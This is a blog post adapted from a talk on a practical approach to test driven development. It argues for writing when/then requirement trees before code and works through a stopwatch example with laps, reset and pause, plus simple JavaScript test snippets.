&lt;p&gt;This is a writeup of &lt;a href=&quot;https://docs.google.com/presentation/d/1mvzBX_vYvcfqSPNpMmYSwRzy__IstOfDiClxa_9iMRc/edit#slide=id.g5dff9559d2_2_835&quot;&gt;Talk of the same title&lt;/a&gt;, exploring what I consider to be an approach to test driven development that is both more practical and easier to apply on a non-toy project.&lt;/p&gt;

&lt;p&gt;Let’s begin.&lt;/p&gt;

&lt;p&gt;Test driven development (TDD) is important, it is useful, it results in better structured code; and - for experienced practitioners - lower development times with fewer bugs. So of course we want to scream:&lt;/p&gt;

&lt;figure style=&quot;&quot;&gt;
  &lt;img src=&quot;/img/tdd_with_no_more_tears/tdd_all_the_things.jpg&quot; alt=&quot;TDD all the things&quot; /&gt;
  &lt;figcaption&gt;Amirite?&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As a rapid aside, let’s consider the source of this meme. It comes originally from &lt;a href=&quot;http://hyperboleandahalf.blogspot.com/2010/06/this-is-why-ill-never-be-adult.html&quot;&gt;Hyperbole and a Half&lt;/a&gt; - a fantastic, hilarious, and insightful blog largely about the author Allie Brosh’s struggle with depression and mania. The original text was “Clean all the things” and - rather than a call to arms - was in part a statement on the frivolity of fleeting excitation.&lt;/p&gt;

&lt;p&gt;The irony of this image as an expression of enthusiasm is…palpable.&lt;/p&gt;

&lt;p&gt;So no, I do not actually believe that you should use TDD all of the time and for everything. Of course and definitively not! Test driven development is a technique and - like all techniques - is useful only so long as it is useful and when it is not, it is useless. I have no idea why this is seen as a difficult concept.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Awkwardly, there seems to be a split in the community between those who consider themselves champions of test driven development and the silent majority who doubt their own abilities, consider it confusing and occasionally busywork, and often feel secretly guilty for not being the sort of person that “gets it”.&lt;/p&gt;

&lt;p&gt;To those people I’ll say: It’s not just you.&lt;/p&gt;

&lt;h1 id=&quot;the-problem-with-tdd-education&quot;&gt;The Problem With TDD Education&lt;/h1&gt;

&lt;blockquote&gt;
  &lt;p&gt;Welcome, young padawan&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I say condescendingly.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Today I will be teaching you all about Test Driven Development. That’s TDD for short, you know.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Excitedly, you sit up straight and pull out a pen. Finally! Someone is going to make sense of this stuff!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;So let’s get started. We’re going to be writing a test for a calculator’s add function. Follow along please:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`can add 1 and 2 to be 3`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
   &lt;span class=&quot;nx&quot;&gt;assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;areEqual&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;You see? We created a function for exactly what we want and passed some data through it. Bingo Bango, get it?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well that seems straightfoward enough, we run it, the console shows red, so now we implement &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Green!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Oooh, clever, but lets add one more test&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;it&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`can add 3 and 4 to be 7`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
   &lt;span class=&quot;nx&quot;&gt;assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;areEqual&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, ok, now we refactor, right?&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;How easy! What’s next?&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Now I certify you a TDD master. Get to using this extremely important and straightforward technique, I’m going to sleep on my pile of programming-blogging money.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And then you sit down to do TDD for real and get immediately…&lt;/p&gt;

&lt;figure&gt;
   &lt;header&gt;Lost&lt;/header&gt;
   &lt;img src=&quot;/img/tdd_with_no_more_tears/Dharma_Initiative_logo.jpg&quot; alt=&quot;Dharama Initiative Logo&quot; /&gt;
   &lt;figcaption&gt;
     &lt;a href=&quot;https://en.wikipedia.org/wiki/Lost_(TV_series)&quot;&gt;Lost&lt;/a&gt;
     references are timely, right?
   &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;That &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt; function was so obvious that we didn’t even need to do any design, and barely any refactoring.&lt;/p&gt;

&lt;p&gt;And yet TDD is &lt;a href=&quot;https://www.infoq.com/articles/test-driven-design-java/&quot;&gt;meant&lt;/a&gt; &lt;a href=&quot;https://www.thoughtworks.com/insights/blog/test-driven-development-best-thing-has-happened-software-design&quot;&gt;to be&lt;/a&gt; a &lt;a href=&quot;https://stackoverflow.com/questions/80243/does-test-driven-development-take-the-focus-from-design&quot;&gt;software design&lt;/a&gt; technique. In fact, many people insist that the acronym is &lt;a href=&quot;https://stackoverflow.com/q/7538744/5056&quot;&gt;Test Driven &lt;strong&gt;Design&lt;/strong&gt;&lt;/a&gt;. Most of the world ignores this of course because…well…backronyming a popular acronym in order to subtly highlight a shift in mental focus is a shitty marketing strategy.&lt;/p&gt;

&lt;p&gt;Ok, but come on, this design stuff sounds like hand-wavy mumbo jumbo. It’s not really taught and no one will describe in detail what it means. And besides, isn’t the point of TDD to have an automated test suite to guard against regressions? You make a change, you can tell right away if you broke something. That sounds Useful™ and Good™.&lt;/p&gt;

&lt;p&gt;Of course…&lt;em&gt;bugs don’t actually care when you wrote the test that catches them&lt;/em&gt;, do they? Regression protection applies just as well if you wrote your testing code first, after, or even just pay a team of testers to meticulously follow a testing script. Logically, this cannot be the point of being test-&lt;strong&gt;driven&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So using TDD to shape the software design is important but no one teaches it or understands what it means? What are we even doing here?&lt;/p&gt;

&lt;p&gt;Yeah, I get it. You see, I believe that test driven development as-often-taught is completely ass-backwards. Don’t start with functions , &lt;strong&gt;start with requirements&lt;/strong&gt;. And not just make-me-a-calculator requirements but realistic requirements. “Ok, I kinda see what you’re maybe going for but goddamn does this need a lot of work” style requirements. Test driven development is a software design technique &lt;strong&gt;especially in that it is a good technique for sharpening ambiguity.&lt;/strong&gt; Start with that.&lt;/p&gt;

&lt;p&gt;But before we get into details on how to learn this stuff, lets sidebar.&lt;/p&gt;

&lt;h1 id=&quot;the-structure-of-tests&quot;&gt;The Structure of Tests&lt;/h1&gt;

&lt;p&gt;Many people reading about testing would have seen the “Triple-A” recommendation. To wit, it is that a test typically has three parts.&lt;/p&gt;

&lt;figure class=&quot;tdd-terms&quot;&gt;
  &lt;p&gt;Arrange&lt;/p&gt;
  &lt;p&gt;Act&lt;/p&gt;
  &lt;p&gt;Assert&lt;/p&gt;
&lt;/figure&gt;

&lt;p&gt;The idea being that you &lt;strong&gt;arrange&lt;/strong&gt; all the preconditions and context for running the test, &lt;strong&gt;perform the action&lt;/strong&gt; that is to be tested, and finally you &lt;strong&gt;assert&lt;/strong&gt; the outcome that was expected.&lt;/p&gt;

&lt;p&gt;This makes sense but it’s also rather…robotic. In the mid-2000s, &lt;a href=&quot;https://en.wikipedia.org/wiki/Behavior-driven_development&quot;&gt;Behavior Driven Development&lt;/a&gt; came along and in the subtlest of nods to considering actual requirements made the recommendation of simply subbing in words that skin-and-bone people actually use.&lt;/p&gt;

&lt;figure class=&quot;tdd-terms&quot;&gt;
  &lt;p&gt;Given&lt;/p&gt;
  &lt;p&gt;When&lt;/p&gt;
  &lt;p&gt;Then&lt;/p&gt;
&lt;/figure&gt;

&lt;p&gt;This was a good idea and jived well with the hypothesis that when tests are properly arranged they can be read and maybe even written not only by developers but even business people!&lt;/p&gt;

&lt;p&gt;This is a pleasant and laud-worthy dream that I’ve never seen anyone actually do successfully but you know…&lt;/p&gt;

&lt;figure&gt;
  &lt;img src=&quot;/img/tdd_with_no_more_tears/you-go-girl.jpg&quot; alt=&quot;New Orleans Graffiti - You Go Girl&quot; /&gt;
  &lt;figcaption&gt;You Go Girl&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I think the “Given…when…then” terminology focuses on what’s important a bit better than Triple-A, but it’s minor and I always find that there’s not a super-great distinction between the “Given” and “When” clauses. After all, setting up context could be seen as an action in itself and, reflexively, the fact that an action has been performed &lt;strong&gt;is&lt;/strong&gt; the context for making an assertion. Moreover, it’s not exactly clear what the actual benefit of separating the two is.&lt;/p&gt;

&lt;p&gt;So in the interest of simplicity, let’s shorten it (and to be clear, I’m not the one who came up with this, and I forget where I saw it first argued):&lt;/p&gt;

&lt;figure class=&quot;tdd-terms&quot;&gt;
  &lt;p&gt;When&lt;/p&gt;
  &lt;p&gt;Then&lt;/p&gt;
&lt;/figure&gt;

&lt;p&gt;This is nice as &lt;strong&gt;Less Complex is More Better&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We really only have two clauses to worry about now, but - as a nod to the expediency of breaking things down - let’s say we can arbitrarily chain together a series of &lt;strong&gt;when&lt;/strong&gt; statements (meaning simply a sequential “do this, this, this, this, and this”) and a series of &lt;strong&gt;then&lt;/strong&gt; statements (meaning a parallel “assert this, that, and this other thing”). It can all be modeled for example as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;when
  then
  when
    then
    then
    when
      then
      then
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In my experience and &lt;strong&gt;as a very general rule, in computer science when something fits naturally into a tree, you know you are on the right path.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s fill those out to a specific example&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;when ready to cook an omelette for two
  then we should have three eggs, grated mozzarella, green onions, salt, and milk on the counter
  when combining eggs, milk, and a pinch of salt in a bowl
    then it should have no eggs left on the counter
    then it should have approximately 8oz of stuff in the bowl
    when done beating the eggs with the milk
      then there should be a bowl with a consistent pale yellow color
      then the original amount of cheese and onions is retained
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(Cooking example a halfassed tribute to &lt;a href=&quot;http://www.lihaoyi.com/post/WhatsFunctionalProgrammingAllAbout.html&quot;&gt;this amazing article&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Yep, that looks a lot like jasmine/mocha/jest, what can I say, they got this part right.&lt;/p&gt;

&lt;p&gt;By the way, if the wording sounds awkward, I’m not a stickler for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;when/then&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;describe/test&lt;/code&gt;, etc terminology. Its a good way to think about things, but the important part is expressing an example of how things work with the action-node, assertion-leaf structure. Other words can certainly be used.&lt;/p&gt;

&lt;p&gt;Note that importantly, what we have here is a straightforward story, and a story is - if nothing else - relatively easy to write.&lt;/p&gt;

&lt;p&gt;Now to work through some examples of how to write test cases.&lt;/p&gt;

&lt;h1 id=&quot;real-world-specifications&quot;&gt;Real World Specifications&lt;/h1&gt;

&lt;p&gt;So after a ton of back-and-forth, after conversations, after &lt;a href=&quot;https://www.youtube.com/watch?v=y4Rj05YVg_E&quot;&gt;impact mapping&lt;/a&gt;, and more conversations you end up with the following:&lt;/p&gt;

&lt;figure&gt;
  &lt;p&gt;
    As a &lt;em&gt;floor manager &lt;/em&gt; I would like &lt;em&gt;an on screen timer&lt;/em&gt; so that &lt;em&gt;I can run quick experiments with how long things take to get done&lt;/em&gt;.
  &lt;/p&gt;
&lt;/figure&gt;

&lt;p&gt;O.M.G! That’s not just a feature request pushed reluctantly into the “story” pile. It is an actual for-real user story with a “because” clause and everything!&lt;/p&gt;

&lt;p&gt;This is important because - and let me be clear -&lt;strong&gt;user stories are not tasks&lt;/strong&gt;. They are a placeholder for a conversation between technical and business people and as such, the proposal sandwiched in between the role and the problem statement is the least important part. It is just an illustratory example.&lt;/p&gt;

&lt;p&gt;In this case for example, a conversation might include the very reasonable question:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Can we just attach a dollar-store timer to the floor manager’s workstation?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If we can solve the problem so easily we absolutely should! Like there aren’t enough actually hard problems to solve that we have to make up new ones.&lt;/p&gt;

&lt;figure&gt;
  &lt;img src=&quot;/img/tdd_with_no_more_tears/bind-men-elephant.jpg&quot; alt=&quot;Blind men describing an elephant&quot; /&gt;
  &lt;figcaption&gt;Elephant description for blind men - now that&apos;s a hard problem.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;But let’s for the sake of argument say there is a perfectly good reason to write custom software here. The first thing to ask is:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;What do you mean by a timer?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which will certainly get you a weird look.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You know…like in gym class. One of those stopwatches with laps, start/stop, and reset buttons.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ah, so a stopwatch, not a timer. This misunderstanding could have let us down a world of dead ends so it’s a win to have clarified already.&lt;/p&gt;

&lt;p&gt;And this is not unusual! This is par for the course in the sort of thing that clients often provide as a jumping off point. It is hard for non-technical people to understand the degree of specificity needed to write code. The only real way forward is to methodically fill in the gaps you can be reasonably confident of, ask a lot of questions, and try to double check everything.&lt;/p&gt;

&lt;p&gt;&lt;img style=&quot;float: right&quot; src=&quot;/img/tdd_with_no_more_tears/stopwatch-mockup.jpg&quot; alt=&quot;A crappy stopwatch mockup&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, a designer, or the client, or maybe even you, might create a quick sketch just of what this darn thing will look like. Maybe not an official design, but just a visual to enhance communication. And that’s good. But now you’re sitting there, looking at this sketch, the pile of handwritten notes from your last product owner meeting, with a nervous grin on your face, and you’re trying to figure out what functions or classes to write so that you can test them. All without having a crystal-clear idea of what the thing does!&lt;/p&gt;

&lt;p&gt;Why not &lt;em&gt;that&lt;/em&gt; first? Let’s start by writing down a little story for ourselves as to how the lap functionality might work&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- When we have a new stopwatch with main and lap slots
  - when it is started
    - then it reads 0 in main
    - when 10s have passed
      - main slot reads 10s
      - there are no laps
      - when 1s has passed
        - then it reads 11s in main
        - there are no laps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hmm, actually now that I’ve written it out, a specification oversight becomes obvious. What does the main slot read &lt;em&gt;before&lt;/em&gt; the timer is started? We go back to our product owner and the answer we get is slightly surprising, it should only read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; &lt;em&gt;after&lt;/em&gt; the timer has been started. Therefore&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;- When we have a new stopwatch with main and lap slots
  - then the main slot should be empty
  - it has no laps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, we should probably flush out what the lapping mechanism does next.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;      - when lap is hit
        - then main slot reads 10s
        - lap1 reads 10s
        - when 1s has passed
          - main slot reads 11s
          - lap1 reads 10s
          - when lap is hit
            - main slot reads 11s
            - lap1 reads 10s
            - lap2 reads 11s
              - when 2s have passed
                - main slot reads 12s
                - lap1 reads 10s
                - lap2 reads 11s
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, some specifications on what resetting does (kills the tracked time in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;laps&lt;/code&gt;, does not affect the state of the timer).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;          - when reset hit
            - it reads 0 on main
            - there are no laps
            - when 2s have passed
              - it reads 2s on main
              - there are no laps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice there’s a branching possiblity here - after we’ve accumulated a few laps we need to specify what should happen if we were to let the timer run versus what should happen if we were to reset things. I find the ability of a testing framework to do this quite useful, though not strictly mandatory for the technique.&lt;/p&gt;

&lt;p&gt;Finally let’s flush out some examples of pausing/resuming&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        - when timer is paused
          - it reads 10s on main
          - when 2s have passed
            - it reads 10s on main
            - when timer is started
              - it reads 10s on main
              - when 2s have passed
                - it reads 12s on main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This seems good enough for now. Putting that all together we have a &lt;a href=&quot;https://github.com/togakangaroo/tdd-with-no-tears/blob/master/tdd-with-no-tears.org&quot;&gt;nice little story&lt;/a&gt; about what exactly we want this stopwatch to be doing. Now we can start implementing.&lt;/p&gt;

&lt;p&gt;…But you don’t have to.&lt;/p&gt;

&lt;p&gt;In fact, what you have now is already &lt;em&gt;massively valuable&lt;/em&gt;. Commit it!&lt;/p&gt;

&lt;p&gt;What is it that you have?&lt;/p&gt;

&lt;p&gt;Well it is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Documentation that conveys succinctly and in user-centric terms what the application feature actually does&lt;/li&gt;
  &lt;li&gt;Acceptance criteria for what it means for the feature to be complete&lt;/li&gt;
  &lt;li&gt;A test plan for how to test against regressions (one that is very valuable even if &lt;em&gt;not&lt;/em&gt; automated)&lt;/li&gt;
  &lt;li&gt;A blueprint for what you need to implement&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will often start by saving and committing this in a block comment in a test file.&lt;/p&gt;

&lt;p&gt;The next step is to actually implement these tests, but at this point it would be a perfectly reasonable business decision for implementation to be pushed off to tech debt (although keep in mind you frequently discover a few more specifications in the process of implementation which you will be missing). By carefully structuring requirements up front in a manner such as this - so long as when you implement your code with these tests in mind - you have already achieved a good portion of the benefits to be had from TDD.&lt;/p&gt;

&lt;p&gt;This point of view serves to highlight the previously noted difference between TDD and automated testing. Technically, test &lt;em&gt;driven&lt;/em&gt; development just has to have test scenarios written first, they don’t even technically have to be be automated!&lt;/p&gt;

&lt;p&gt;I think now is a good time to talk about…&lt;/p&gt;

&lt;h1 id=&quot;what-is-a-unit-test-anyway&quot;&gt;What is a unit test anyway?&lt;/h1&gt;

&lt;p&gt;I can already hear the grumbling:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;But…but…this isn’t unit testing, it is integration testing!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And to that, person-I-just-made-up, I roll my eyes at you.&lt;/p&gt;

&lt;p&gt;We can spend forever playing around with the definition of what is a unit.&lt;/p&gt;

&lt;p&gt;Is a unit a single function? Why a function? A unit is meant to be indivisible, but we divide up functions up all the time. It is indeed &lt;a href=&quot;https://refactoring.com/catalog/extractFunction.html&quot;&gt;the most popular refactoring operation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Is a unit a class? Spend some time programming in a class-less paradigm and tell me what is so special about classes. A factory function that returns a tuple does much the same job as a constructor, and we’ve already tackled functions.&lt;/p&gt;

&lt;p&gt;The BDD definition is also fuzzy. By insisting on naming tests from the user’s point of view, the unit corresponds more or less to a minimal workflow that a user would find useful.&lt;/p&gt;

&lt;p&gt;For me - while I bias toward the latter - I prefer going back to first principles. What is it that we look for in a “unit test”?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We want it to be reasonably isolated so that a test failure can be properly attributed to a failure of the system under test. This means (but doesn’t mandate) minimizing any dependencies on external systems like network availability, database servers, or other tests running properly.&lt;/li&gt;
  &lt;li&gt;We want it to be fast. A major goal here is to tighten the feedback loop between code and verification. If a test suite is so slow that developers are discouraged from running all relevant tests in response to even the smallest change, then it is not serving that purpose.&lt;/li&gt;
  &lt;li&gt;We want the test to be focused so that if it fails, we have a good idea where an error might reside and can isolate the issue and repair it rapidly. Personally I find this to generally be of lesser importance than the other two, but it is important nevertheless.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we can keep to these goals while implementing our tests, especially given the intentional broadness of the Behavior Driven Development approach, then what is it to say they are not “unit tests” but an argument over semantics?&lt;/p&gt;

&lt;h1 id=&quot;lets-start-implementing&quot;&gt;Let’s start implementing&lt;/h1&gt;

&lt;p&gt;We will implement this example in javascript but &lt;a href=&quot;https://github.com/togakangaroo/tdd-with-no-tears&quot;&gt;see the related repo for examples in other languages&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s start by writing down some basics tests.&lt;/p&gt;

&lt;p&gt;I like to think of testing as proceeding through several phases with shifting sets of priorities.&lt;/p&gt;

&lt;h2 id=&quot;set-up-the-basic-testing-flow&quot;&gt;Set up the basic testing flow&lt;/h2&gt;

&lt;p&gt;The goal at this point is just to build out a shell for our tests. Just write &lt;em&gt;something&lt;/em&gt; that runs and passes.&lt;/p&gt;

&lt;p&gt;We start by just inventing some methods that we wish existed.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/af7b76a74eefa676f456c8f9523678e5.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;We create the stopwatch itself in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sw&lt;/code&gt; variable from a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;createStopWatch&lt;/code&gt; method and test a few properties on it - nothing fancy, just what makes sense.&lt;/p&gt;

&lt;p&gt;Set up a file watcher to auto-run tests on file change and you can see all our tests now failing. That’s our red.&lt;/p&gt;

&lt;p&gt;Now we might as well write the code implied by the above.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/9d2f8ab785ad0de85083072b0e1e9ae6.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;That done, we continue with more tests. We still want to focus on the red-green; writing testing code and then writing just enough to get it to pass. We can refactor where the right move is obvious but it is not yet the focus - we will have time for refactoring, but right now we want to focus on building out all the basics we need - mocking, dependencies, etc - to get the-green workflow going.&lt;/p&gt;

&lt;p&gt;Also worth noting that I’m writing all code in the same file as it is simply faster to navigate and import dependencies. I don’t want to get caught up in an existential dilemma over which subdirectories to put things in, I just want to get the basic flow down.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/f7c0c83d5d70ef094be84cd995b22c2e.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;At this point we are transitioning to the next set of priorities.&lt;/p&gt;

&lt;h2 id=&quot;make-writing-of-tests-easier&quot;&gt;Make writing of tests easier&lt;/h2&gt;

&lt;p&gt;Now that we’re jiving, we acquire a new focus. Yes, we still want to red and green, but we are now starting to see the common patterns within our testing code. Once these become clear we can introduce refactoring of our &lt;em&gt;test&lt;/em&gt; code. We will be implementing our scenarios but also refactoring our testing code itself (not our application code) as we go.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/0f3cb5bee815e80c984eac80bce469fb.js&quot;&gt; &lt;/script&gt;

&lt;p&gt;We notice how often we are asserting against both main and lap displays and decide to refactor (my rule-of-thumb is refactoring once I have three uses of a pattern) and so we create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main_and_laps_should_display&lt;/code&gt; function (yes, underscores aren’t the javascript naming standard, but not having your function name be &lt;a href=&quot;https://en.wikipedia.org/wiki/Scriptio_continua&quot;&gt;unreadable scriptio continua&lt;/a&gt; trumps naming standards, and this is less of an issue for non-public functions anyway).&lt;/p&gt;

&lt;p&gt;The idea here is that by identifying common patterns and refactoring, you are creating a mini-library for the generation of further test scenarios. It is not uncommon for me to take hours writing out test stories, an hour or two getting the testing workflow down, and then another hour in this phase of writing tests and refactoring. Once on the other side though, generating the remaining majority balance of scenarios and implementations is 30 minutes of work.&lt;/p&gt;

